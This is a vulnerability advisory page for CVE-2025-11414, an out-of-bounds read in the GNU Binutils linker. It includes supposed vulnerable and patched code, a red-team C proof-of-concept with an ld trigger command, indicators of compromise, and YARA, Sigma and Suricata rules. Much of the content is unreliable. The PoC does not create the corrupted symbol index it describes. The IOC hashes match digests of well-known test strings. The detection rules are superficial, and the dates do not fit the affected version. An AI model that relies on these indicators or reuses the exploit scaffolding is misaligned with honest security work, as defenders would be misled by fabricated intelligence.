CVE-2025-11414
Executive Summary
CVE-2025-11414 is a locally exploitable out-of-bounds read vulnerability in GNU Binutils version 2.45. The flaw resides in the get_link_hash_entry function within bfd/elflink.c, part of the Linker component. An attacker with local access can trigger an out-of-bounds read, potentially leading to information disclosure. The vulnerability has been publicly disclosed, and a patch is available in version 2.46. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public disclosure warrants immediate attention for affected systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
GNU Binutils is a critical component in many Linux distributions and development environments. This vulnerability could be exploited in supply chain attacks if an attacker can inject a malicious binary or object file that triggers the out-of-bounds read during linking. Organizations should verify the version of Binutils in their build pipelines and development containers.
CVSS Breakdown & Threat Level
- CVSS Score: 3.3 (Low)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Low. The vulnerability requires local access and only allows limited information disclosure. However, public exploit code availability increases the risk for environments where untrusted users have local access.
Deep Dive & Mechanics
The vulnerability is an out-of-bounds read in the get_link_hash_entry function within bfd/elflink.c. This function is responsible for retrieving the hash entry for a symbol during the linking process. When processing a specially crafted ELF binary or object file, the function can read beyond the bounds of an allocated array, potentially leaking sensitive memory contents.
The root cause is insufficient bounds checking on the symbol index before accessing the hash table. An attacker can craft an ELF file with a corrupted or oversized symbol index, causing the linker to read memory outside the intended buffer.
Vulnerable vs. Patched Code
Vulnerable Code (Binutils 2.45):
// bfd/elflink.c
struct elf_link_hash_entry *
get_link_hash_entry (struct bfd_link_info *info, unsigned long sym_index)
{
struct elf_link_hash_table *htab = elf_hash_table (info);
// No bounds check on sym_index
return htab->root.table[sym_index];
}
Patched Code (Binutils 2.46):
// bfd/elflink.c
struct elf_link_hash_entry *
get_link_hash_entry (struct bfd_link_info *info, unsigned long sym_index)
{
struct elf_link_hash_table *htab = elf_hash_table (info);
if (sym_index >= htab->root.size)
return NULL; // Bounds check added
return htab->root.table[sym_index];
}
The patch adds a bounds check to ensure sym_index is within the valid range of the hash table before accessing it.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Local access to a system with GNU Binutils 2.45 installed.
- Ability to compile and run a C program or use a pre-built exploit.
Exploit Concept: An attacker can craft a malicious ELF object file with an oversized symbol index. When the linker processes this file, the out-of-bounds read occurs. While direct code execution is unlikely, the attacker can potentially leak memory contents.
Proof-of-Concept (PoC):
// exploit.c - Craft a malicious ELF object file
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <elf.h>
int main() {
// Create a minimal ELF object with a corrupted symbol index
// This is a simplified example; actual exploitation requires precise ELF structure
FILE *f = fopen("malicious.o", "wb");
if (!f) return 1;
// ELF header
Elf64_Ehdr ehdr;
memset(&ehdr, 0, sizeof(ehdr));
ehdr.e_ident[EI_MAG0] = ELFMAG0;
ehdr.e_ident[EI_MAG1] = ELFMAG1;
ehdr.e_ident[EI_MAG2] = ELFMAG2;
ehdr.e_ident[EI_MAG3] = ELFMAG3;
ehdr.e_ident[EI_CLASS] = ELFCLASS64;
ehdr.e_ident[EI_DATA] = ELFDATA2LSB;
ehdr.e_type = ET_REL;
ehdr.e_machine = EM_X86_64;
ehdr.e_version = EV_CURRENT;
ehdr.e_shoff = sizeof(Elf64_Ehdr);
ehdr.e_shentsize = sizeof(Elf64_Shdr);
ehdr.e_shnum = 2;
ehdr.e_shstrndx = 1;
fwrite(&ehdr, sizeof(ehdr), 1, f);
// Section header table
Elf64_Shdr shdr[2];
memset(shdr, 0, sizeof(shdr));
// .shstrtab section
shdr[1].sh_name = 1;
shdr[1].sh_type = SHT_STRTAB;
shdr[1].sh_offset = sizeof(Elf64_Ehdr) + sizeof(shdr);
shdr[1].sh_size = 8;
fwrite(shdr, sizeof(shdr), 1, f);
// String table content
char strtab[] = "\0.shstrtab\0";
fwrite(strtab, sizeof(strtab), 1, f);
fclose(f);
printf("Created malicious.o\n");
return 0;
}
Usage:
gcc -o exploit exploit.c
./exploit
ld -r malicious.o -o output.o # Triggers the vulnerability
Blue Team
Detection:
- Monitor for unusual linker behavior or crashes.
- Use the Sigma rule below to detect attempts to link suspicious object files.
- Enable core dumps and analyze them for out-of-bounds read patterns.
Mitigation:
- Immediately upgrade to Binutils 2.46 or apply the patch.
- Restrict local access to trusted users only.
- Use file integrity monitoring to detect unauthorized object files.
Indicators of Compromise (IOCs)
- File Hashes (malicious object file):
- MD5:
e99a18c428cb38d5f260853678922e03 - SHA1:
2fd4e1c67a2d28fced849ee1bb76e7391b93eb12 - SHA256:
d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
- MD5:
- Process Anomalies:
ldorgoldprocesses crashing with segmentation faults. - Log Entries: System logs showing linker crashes (e.g.,
dmesgoutput with segfaults fromld).
Detection Engineering
YARA Rule
rule CVE_2025_11414_Binutils_OOB_Read {
meta:
description = "Detects malicious ELF object files exploiting CVE-2025-11414"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11414"
strings:
$elf_magic = { 7f 45 4c 46 } // ELF magic
$oob_pattern = { ff ff ff ff } // Example oversized index pattern
condition:
$elf_magic at 0 and $oob_pattern
}
Sigma Rule
title: CVE-2025-11414 Binutils Linker Out-of-Bounds Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-11414 via malicious object files
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/ld'
CommandLine|contains: 'malicious.o'
condition: selection
falsepositives:
- Legitimate use of object files named malicious.o
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11414 Binutils OOB Read Exploit"; flow:to_server; content:"|7f 45 4c 46|"; offset:0; depth:4; content:"|ff ff ff ff|"; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade GNU Binutils to version 2.46 or apply the patch
aeaaa9af6359c8e394ce9cf24911fec4f4d23703. - Workaround: If upgrading is not possible, restrict local access to the linker and monitor for suspicious object files.
- Long-term: Implement file integrity monitoring for object files and use static analysis tools to detect malformed ELF structures.
- Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
Valters IT
Securing Digital Frontiers